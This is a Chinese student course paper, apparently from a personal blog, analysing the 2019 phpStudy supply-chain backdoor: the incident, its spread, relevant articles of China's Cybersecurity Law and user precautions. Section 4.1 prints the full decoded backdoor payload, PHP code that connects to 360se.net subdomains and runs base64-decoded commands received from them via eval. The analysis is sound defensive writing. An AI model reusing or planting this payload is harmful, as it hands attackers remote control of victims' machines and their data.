正巧通识课需要交一篇安全相关的论文,顺便分析一下。

从 phpStudy 后门事件谈软件安全

摘要:如今互联网发展迅速,手机电脑已经成为了每个人时刻不离手的物品。在使用各种电子产品的同时,我们必然的会接触到许许多多不同的软件。然而网络上的软件繁多复杂,我们要在这些难以判断的软件中找到真正安全的软件。本文从“phpStudy 后门”事件入手,分析了软件安全的重要性,介绍了相关的法律知识,最后提出了自己的建议和总结。

关键词:phpStudy 后门;软件安全;安全意识

第 1 章 软件安全背景介绍

软件安全就是使软件在受到恶意攻击的情形下依然能够继续正确运行及确保软件被在授权范围内合法使用的思想。软件安全目前越来越受到重视,日常看到介绍软件安全的文章也越来越多。系统安全、应用安全、敏感信息的保护等话题已经成为软件企业不能回避的挑战,如何在开发过程中制度化、流程化的实现安全特性,是所有软件企业都需着重考虑的问题。软件安全中的智力成果、知识产权不被非法使用,包括篡改及盗用等。研究的内容主要包括防止软件盗版、软件逆向工程、授权加密以及非法篡改等。采用的技术包括软件水印(静态水印及动态水印)、代码混淆(源代码级别的混淆,目标代码级别的混淆等)、防篡改技术、授权加密技术以及虚拟机保护技术等。[1]

软件已经成为我们的关键基础设施和日常生活的重要组成部分,已融入到我们的各种产品中,这些年来软件得到了高速的发展。随着互联网和移动互联网的普及,人们使用软件的方式也发生了很大变化。很多年前,我们可能大部分使用的是一个本地的软件或者一个局域网内软件。因为是在一个有限的范围内使用,那它遭受攻击和破坏的概率就比较小。而现在呢,我们主要是通过 Web 界面或 app 来使用,只要有网络的地方,都可以使用到软件,这增加了潜在的风险,也为黑客或者不怀好意者带来更多的攻击和破坏机会。同时,目前各个国家对软件安全和隐私越来越重视。典型的如欧盟的 GDPR 协议的生效,如果说违反了欧盟的 GDP 协议,处罚是相当的严重,甚至可能导致一个企业遭受重创。还有现在以美国为首的西方国家以安全理由,来封杀中国的通讯设备制造商,未来也可能会有更多的国内高科技企业受影响。对于这个,一方面我们要据理力争;另一方面,打铁还靠自身硬,我们必须有充分的证据来证明我们的软件是安全的。[4]

在这种内外部环境的严峻的压力下,软件安全已经成为一个企业能否长足的发展生存下去的一个核心因素,而不再是可有可无的。这样更多的企业和个人越来越重视软件安全也是必然的结果。[4]

第 2 章 “phpStudy 后门”事件概述

2019 年 9 月 20 日,一则杭州警方通报打击涉网违法犯罪专项行动战果的新闻中,通报了警方发现 phpStudy 软件被植入后门这一事件。phpStudy 作为一款很多 Web 学习者必备的软件,这一后门事件的发生引起了巨大的影响。

phpStudy 软件是一款免费的 PHP 调试环境的程序集成包,集成了最新的 Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer 多款软件一次性安装,无需配置即可直接使用,具有 PHP 环境调试和开发功能。因为免费公益、简易方便,现已发展到一定的规模,有着近百万 PHP 语言学习者、开发者用户。[2]

然而,如此绿色无公害的开发软件遭到了黑客的毒手。据杭州公安披露,黑客组织早在 2016 年就编写了“后门”文件,并非法侵入了 phpStudy 的官网,篡改了软件安装包植入“后门”。该“后门”无法被杀毒软件扫描删除,并且藏匿于软件某功能性代码中,极难被发现。技术上来讲,该后门是篡改了 phpStudy 的扩展库,植入的后门主要是可以直接执行远程代码,危害极大。而该“后门”具有控制计算机的功能,可以远程控制下载运行脚本实现用户个人信息收集。从 2016 年起,黑客利用该“后门”犯罪作恶一发不可收拾,大量中招的电脑沦为“肉鸡”执行危险命令,不计其数的用户账号密码、电脑数据、敏感信息被远程抓取和回传。据统计,黑客已控制了超过 67 万台电脑,非法获取账号密码类、聊天数据类、设备码类等数据 10 万余组,而此案也是 2019 年以来,国内影响最为严重的供应链攻击事件。[7]

第 3 章 “phpStudy 后门”事件产生的影响

3.1 “phpStudy 后门”事件影响的范围

在该事件发生之后,全球总量共计有 90080 个目标现在可能会受到 phpStudy 后门的影响。

现在大部分正在被使用的 phpStudy 版本都存在有后门(主要影响版本为 phpStudy2016、phpStudy2018)。如果后门存在,可能导致服务器或主机被上传 shell,通俗来说,也就是所有存在后门的所有系统都有可能被黑客拿到最高权限,并且所有的信息都有可能已经被泄漏了。下面根据数据分析一下该事件的影响范围之大。

以下分析数据为通过知道创宇 ZoomEye 搜索结果。

以上为存在 phpStudy 服务的全球主机。毕竟 phpStudy 是国产软件,所以受影响最多的国家还是中国,其次是美国。在对美国受影响的目标进行简单的探查之后,发现基本都是属于 IDC 机房的机器,基本上可以判断都是国人在购买的 VPS 上搭建的 phpStudy。

其中,VPS(Virtual Private Server,虚拟专用服务器)技术,是指将一台服务器分割成多个虚拟专享服务器的优质服务。在容器或虚拟机中,每个 VPS 都可分配独立公网 IP 地址、独立操作系统、实现不同 VPS 间磁盘空间、内存、CPU 资源、进程和系统配置的隔离,为用户和应用程序模拟出“独占”使用计算资源的体验。VPS 可以像独立服务器一样,重装操作系统,安装程序,单独重启服务器。VPS 为使用者提供了管理配置的自由,可用于企业虚拟化,也可以用于 IDC 资源租用。[9] 由此可知,其实有很多用户会在 VPS 上搭建一些服务或者是存储一些重要的数据,然而如果 VPS 上存在 phpStudy 的后门,就会使得大量的信息泄漏。再加上本身 VPS 使用者的基数之大,显而易见地会产生巨大的影响。

接下来看看国内所受到的影响范围。

国内的分布图中基本可以看出主要分布在香港、北上广等计算机技术比较发达的地区,国内主要的服务器存放处都受到了严重的影响。

同时,在漏洞被曝出之后,知道创宇 404 积极防御团队检测到 2019 年 9 月 24 日开始,互联网上有人开始对 phpStudy 后门中的 RCE 进行利用。[6]

3.2 “phpStudy 后门”触犯了我国的网络安全法

就“phpStudy 后门”事件而言,涉及了我国的网络安全法中以下几条内容:

  • 第二十二条:网络产品、服务应当符合相关国家标准的强制性要求。网络产品、服务的提供者不得设置恶意程序;发现其网络产品、服务存在安全缺陷、漏洞等风险时,应当立即采取补救措施,按照规定及时告知用户并向有关主管部门报告。网络产品、服务的提供者应当为其产品、服务持续提供安全维护;在规定或者当事人约定的期限内,不得终止提供安全维护。网络产品、服务具有收集用户信息功能的,其提供者应当向用户明示并取得同意;涉及用户个人信息的,还应当遵守本法和有关法律、行政法规关于个人信息保护的规定。[3]
  • 第二十七条:任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具;明知他人从事危害网络安全的活动的,不得为其提供技术支持、广告推广、支付结算等帮助。[3]
  • 第四十八条:任何个人和组织发送的电子信息、提供的应用软件,不得设置恶意程序,不得含有法律、行政法规禁止发布或者传输的信息。电子信息发送服务提供者和应用软件下载服务提供者,应当履行安全管理义务,知道其用户有前款规定行为的,应当停止提供服务,采取消除等处置措施,保存有关记录,并向有关主管部门报告。[3]
  • 第六十三条:违反本法第二十七条规定,从事危害网络安全的活动,或者提供专门用于从事危害网络安全活动的程序、工具,或者为他人从事危害网络安全的活动提供技术支持、广告推广、支付结算等帮助,尚不构成犯罪的,由公安机关没收违法所得,处五日以下拘留,可以并处五万元以上五十万元以下罚款;情节较重的,处五日以上十五日以下拘留,可以并处十万元以上一百万元以下罚款。单位有前款行为的,由公安机关没收违法所得,处十万元以上一百万元以下罚款,并对直接负责的主管人员和其他直接责任人员依照前款规定处罚。违反本法第二十七条规定,受到治安管理处罚的人员,五年内不得从事网络安全管理和网络运营关键岗位的工作;受到刑事处罚的人员,终身不得从事网络安全管理和网络运营关键岗位的工作。[3]
  • 那么本次事件中,软件制作者及所属公司是否涉案?专案组在事件发生后专程前往安徽合肥,对 phpStudy 软件的制作人及所属公司开展调查,并结合犯罪嫌疑人的供述申辩及客观证据,已经排除了软件作者和所属公司的犯罪嫌疑。公安机关已依法封存扣押了涉案的服务器及电子设备,并督促该软件所属公司对软件进行整改。[2]在事件发生后的没几天,phpStudy 官网也已经及时地推出了后门检测软件。

第 4 章 如何防范软件后门等安全问题

4.1 后门利用方法简介

经过调查,在本次事件中,绝大多数的后门都位于 phpStudy 目录下的“php_xmlrpc.dll”文件中。下面对存在后门的文件进行简单的分析。

通过查看字符串可以发现文件中出现了可疑的“eval”字符串。

在 Web 应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用 eval 函数(PHP 函数)去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。[8]

跟踪反编译代码可以看到 eval 字符串对应处存在对 Shellcode 的处理,通过 PHP 函数 gzuncompress 解压 Shellcode 并运行。

将 Shellcode 数据取出来,编写 PHP 代码可以得到真正的代码,通过 eval 执行了一串解密后的 base64 串。

可以看到 Shellcode 中通过 base64_decode 函数揭秘 base64 加密的字符串,并将解密的结果使用 eval 函数执行。通过解密密文来执行恶意代码也是黑客用来编写病毒或者是后门的一种手法,可以将原本一眼就能看出的奇怪的代码完美地隐藏在密文之下,以达到偷偷执行恶意代码的目的。

下面就可以通过 base64 解密后可以得到最终的恶意代码。

@ini_set("display_errors","0");
error_reporting(0);
$h = $_SERVER['HTTP_HOST'];
$p = $_SERVER['SERVER_PORT'];
$fp = fsockopen($h, $p, $errno, $errstr, 5);
if (!$fp) {
} else {
    $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";
    $out .= "Host: {$h}\r\n";
    $out .= "Accept-Encoding: compress,gzip\r\n";
    $out .= "Connection: Close\r\n\r\n";

    fwrite($fp, $out);
    fclose($fp);
}
@ini_set("display_errors","0");
error_reporting(0);
function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
    $result = "";
  $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);
  if( !$handle ){
    $handle = fsockopen($ip, intval($port), $errno, $errstr, 5);
    if( !$handle ){
        return "err";
    }
  }
  fwrite($handle, $sendMsg."\n");
    while(!feof($handle)){
        stream_set_timeout($handle, 2);
        $result .= fread($handle, 1024);
        $info = stream_get_meta_data($handle);
        if ($info['timed_out']) {
          break;
        }
     }
  fclose($handle);
  return $result;
}

$ds = array("www","bbs","cms","down","up","file","ftp");
$ps = array("20123","40125","8080","80","53");
$n = false;
do {
    $n = false;
    foreach ($ds as $d){
        $b = false;
        foreach ($ps as $p){
            $result = tcpGet($i,$d.".360se.net",$p);
            if ($result != "err"){
                $b =true;
                break;
            }
        }
        if ($b)break;
    }
    $info = explode("<^>",$result);
    if (count($info)==4){
        if (strpos($info[3],"/*Onemore*/") !== false){
            $info[3] = str_replace("/*Onemore*/","",$info[3]);
            $n=true;
        }
        @eval(base64_decode($info[3]));
    }
}while($n);

可以看到恶意代码中,存在远程服务器的 IP(360se.net)和端口(20123)。黑客可以通过该漏洞拿到服务器或是电脑的权限,做任何想干的事。

目前网络中仍然有超过 1700 个存在“后门”的“php_xmlrpc.dll”文件。这些通过修改常用软件底层源代码,秘密添加的“后门”,可以在用户无感知的状态下,非法获取用户隐私数据,严重侵害了人民群众的合法权益,甚至危害国家安全。[7]

4.2 防范方法

就本次“phpStudy 后门”事件来说,后门存在的时间已经很久了,无法判断遭受后门的网站已经泄漏了什么,很有可能已经造成了巨大的信息泄漏。同时,在被曝出漏洞之后,phpStudy 官网也已经在第一时间放出了安全自检修复程序,该程序可以对本地的 phpStudy 目录进行扫描检查。

通过这次事件,我们应该在平常下载各种软件时警惕各种有可能的安全问题,提高我们的安全意识,以防被不法分子入侵。以下列举了几个安全措施。

4.2.1 使用第三方安全卫士

安装第三方的一些安全卫士或者是安全管家,借助其他软件保护电脑的安全。并且定期对电脑进行扫描。

4.2.2 人工检查

安装过已经被曝出漏洞软件的服务器,务必及时修改密码,其他使用相同注册邮箱和密码的网络帐户也应该一并修改,尽最大可能消除风险。

不要随意下载,接收和运行不明来源的文件,尽量到 phpStudy 官网下载最新版 phpStudy 安装包进行更新,以防中招。对于其他任何的软件来说也是如此,尽可能在官网下载,而不是去一些没有官方说明的下载网站下载软件,避免下载到额外的病毒或者是其他恶意软件。

4.2.3 安全修补

在官方网站下载对应补丁或者是检测软件。电脑的操作系统也是软件安全的一部分,我们可以利用 Windows Defender 或者是防火墙来加固我们电脑的安全堡垒。

第 5 章 建议和总结

如今,互联网已经是与每个人密不可分的一部分,软件安全也日益成为一个重要的话题。一方面我们已经有国家安全法对许多网络上违法的软件行为进行了限制,已经很大程度上维护了我们平时使用软件的安全。另一方面,作为互联网时代的每一分子,我们都需要掌握一定基础的安全知识和技能,遇到违法的行为能够运用法律来抵制,遇到合理的行为要善于学习。这样才能让我们的信息社会更加安全,网络环境更加美好。

参考文献

[1] 百度百科词条:软件安全(https://baike.baidu.com/item/%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/4072341?fr=aladdin).
[2] phpstudy 官网于 2016 年被入侵,犯罪分子篡改软件并植入后门(https://www.anquanke.com/post/id/187152).
[3] 中华人民共和国网络安全法.
[4] 重新认识软件安全(https://www.jianshu.com/p/e478b34a5c02).
[5] phpStudy 后门如何检测和修复(https://blog.51cto.com/14313004/2440185).
[6] PhpStudy 后门分析(https://paper.seebug.org/1044/#zoomeye).
[7] 数十万 PhpStudy 用户被植入后门,快来检测你是否已沦为“肉鸡”!(https://mp.weixin.qq.com/s/HtJIIlCnI_8VLfXm1A4GrQ).
[8] Web 安全之代码执行漏洞(http://www.sohu.com/a/328927764_120104204).
[9] 百度百科词条:VPS(https://baike.baidu.com/item/VPS)


re

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

Python实现Paillier加密解密算法
何为零知识证明